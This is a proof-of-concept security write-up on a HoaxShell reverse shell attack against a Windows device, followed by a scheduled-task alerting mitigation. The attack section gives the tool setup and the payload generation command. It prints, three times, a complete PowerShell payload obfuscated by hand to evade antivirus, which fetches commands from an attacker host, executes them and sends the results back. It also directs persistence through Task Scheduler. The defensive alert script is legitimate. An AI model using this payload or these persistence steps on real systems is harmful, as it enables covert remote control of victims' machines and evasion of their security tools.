# POC 4 - Reverse Shell to Remain on Device

## Description

A reverse shell attack is an attack which allows attacker to open ports within the victim’s machine. These opened ports allow the attackers to remotely access the victims organisation’s network.

These reverse shell’s may be difficult to detect as threat actors may build more complex scripts to evade both the firewall implemented within the system as well as the antivirus implemented.

This attack aims to outline the threats posed to the organisation from a reverse shell attack.

## Steps to Carry Out Exploitation

There are a total of 2 steps to be caried out during the process of conducting a reverse shell attack.

The following are the 2 steps taken during the POC.

1. [Preparation Phase](#preparations)
2. [Exploitation Phase](#exploitation)

The preparation phase covers all preperatory needs inclusive of the installation of tools that can possibly prepared by the threat attacker.

The exploitation phase outlines the steps that the insider can possibly take to both remain undetected within the machine along with achieving the targeted goal of the insider threat attacker.

### Preparations

1. Git clone the Hoax Shell repository

git clone https://github.com/t3l3machus/hoaxshell.git

1. Navigate into the repository and install all dependencies

# Navigate into the repository  
cd ./hoaxshell  
  
# Install dependencies  
python -m pip install -r requirements.txt

1. Run the following shell to generate the Hoaxshell payload

sudo python3 hoaxshell.py -s <your\_ip> -r -H "Authorization"

A screenshot of a computer

Description automatically generated

Generating Payload using HoaxShell

1. Manually obfuscating HoaxShell Script by adding ' and splitting strings of character, and randomising casing of PowerShell functions

$xxx='None';$s='<your\_ip>:8080';$i='83d2a6b0-c13433e2-5ea52d90';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/83d2a6b0 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/c13433e2 -Headers @{"Authorization"=$i}).Content;if ($c -ne $xxx) {$r=i''e''x $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/5ea52d90 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

### Exploitation

1. Run the following within a PowerShell session or Command Prompt

Command Prompt

powershell $xxx='None';$s='<your\_ip>:8080';$i='83d2a6b0-c13433e2-5ea52d90';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/83d2a6b0 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/c13433e2 -Headers @{"Authorization"=$i}).Content;if ($c -ne $xxx) {$r=i''e''x $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/5ea52d90 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

PowerShell

$xxx='None';$s='<your\_ip>:8080';$i='83d2a6b0-c13433e2-5ea52d90';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/83d2a6b0 -Headers @{"Authorization"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/c13433e2 -Headers @{"Authorization"=$i}).Content;if ($c -ne $xxx) {$r=i''e''x $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/5ea52d90 -Method POST -Headers @{"Authorization"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}

1. Notice that the attacker machine would have a shell session established after the command has been ran

A screenshot of a computer

Description automatically generated

HoaxShell Connection Established

1. Run the following command on the attacker system to confirm that the attacker machine is connected and able to retrieve information from the organisations device

A screenshot of a computer

Description automatically generated

Listing of Victim’s machine directory from HoaxShell exploit script

1. Save the PowerShell script and run it on startup using Task Scheduler
2. Run the following command to grab the session mode when the shell has been closed on the attacker machine but is still running on the organisations device

sudo python3 hoaxshell.py -s <your\_ip> -g

## Possible Mitigations and Recommendations

1. [Notify Administrators of New Scheduled Tasks](#Xea5f76b9cd83a159c49b9947a28887dcae9077b)
2. Disable unused ports and consider using a destination net
3. Configure the firewall to allow only required application’s application ID\*
4. Update antivirus signature database

**NOTE** \*Only applicable to Layer 7 Firewalls

### Notify Administrators of New Scheduled Tasks

While tasks are being constantly scheduled within systems to perform an update of system, scanning for malicious files, etc., threat actors can make use of scheduled tasks as an advantage to schedule exploits to run on start up or at different times of the day.

To combat this, one method is to notify the administrators of any new scheduled tasks to allow administrators to further look into and investigate any newly scheduled task which may pose a potential threat towards the organisations active directory.

#### Steps to Notify Administrators of New Scheduled Tasks

1. Create a PowerShell script like the following modifying the information accordingly

# Define the event ID to monitor for task creation  
$EventId = 106  
  
# Get the latest event that matches the specified event ID from the Task Scheduler log  
$Event = Get-WinEvent -MaxEvents 1 -FilterHashTable @{  
 LogName = 'Microsoft-Windows-TaskScheduler/Operational'  
 ID = $EventId  
} | Select-Object Id, Message, MachineName, ProviderName  
  
# Check if an event is found  
if ($Event) {  
 # Email configuration  
 $EmailFrom = "your-email@example.com"  
 $EmailTo = "recipient@example.com"  
 $Subject = "Task Created Alert - $($Event.MachineName)"  
 $Body = "EventID: $($Event.Id)`nSource: $($Event.ProviderName)`nMachineName: $($Event.MachineName)`nMessage: $($Event.Message)"  
  
 # SMTP Server configuration for a generic mail server  
 $SMTPServer = "mail.example.com"  
 $SMTPPort = 587  
 $SMTPUsername = "your-email@example.com"  
 $encrypted = Get-Content c:scriptsencrypted\_password.txt | ConvertTo-SecureString  
 $credential = New-Object System.Management.Automation.PsCredential($SMTPUsername, $encrypted)  
  
 # Create and configure the SMTP client  
 $SMTPClient = New-Object Net.Mail.SmtpClient($SMTPServer, $SMTPPort)  
 $SMTPClient.EnableSsl = $true  
 $SMTPClient.Credentials = $credential  
  
 # Send the email  
 $SMTPClient.Send($EmailFrom, $EmailTo, $Subject, $Body)  
  
 Write-Host "Email sent successfully."  
} else {  
 Write-Host "No matching event found."  
}

1. Test that the email is able to be sent by running the PowerShell Script
2. Open Event Viewer and navigate to the following path Applications and Services > Microsoft > Windows > Task Scheduler > Operational

A screenshot of a computer

Description automatically generated

Event Viewer Task Scheduler Operational Tab

1. Filter the current log to show all logs with an Event ID of 106

A screenshot of a computer

Description automatically generated

Filtering Event Log with Event ID 106

A screenshot of a computer

Description automatically generated

Filtered Event Log

1. Right Click the Task and Attach Task To This Event

A screenshot of a computer

Description automatically generated

Right Click Options

1. Create the task with the following details

A screenshot of a computer error

Description automatically generated

A screenshot of a computer

Description automatically generated

Creating Basic Task

**A screenshot of a computer program

Description automatically generated**

A screenshot of a program

Description automatically generated

Task Scheduler Actions Options

1. Verify that the settings are configured as per follows

A screenshot of a computer

Description automatically generated

Task Scheduler Summary

1. Check the Open Properties dialog for the task when I click Finish option
2. Further modify the following from the properties dialog

**General Tab**

A screenshot of a computer

Description automatically generated

Task Scheduler General

**Conditions Tab**

A screenshot of a computer

Description automatically generated

Task Scheduler Conditions

**Settings Tab**

A screenshot of a computer

Description automatically generated

Task Scheduler Settings

**Account Login Prompt**

A computer screen shot of a computer

Description automatically generated

Task Scheduler Account Login

1. Trigger the task and check that an email notification is triggered

## References

[Hoax Shell](https://github.com/t3l3machus/hoaxshell)  
[What is Reverse Shell](https://www.imperva.com/learn/application-security/reverse-shell/)  
[Manually Obfuscating Hoax Shell Payload](https://www.youtube.com/watch?v=iElVfagdCD4)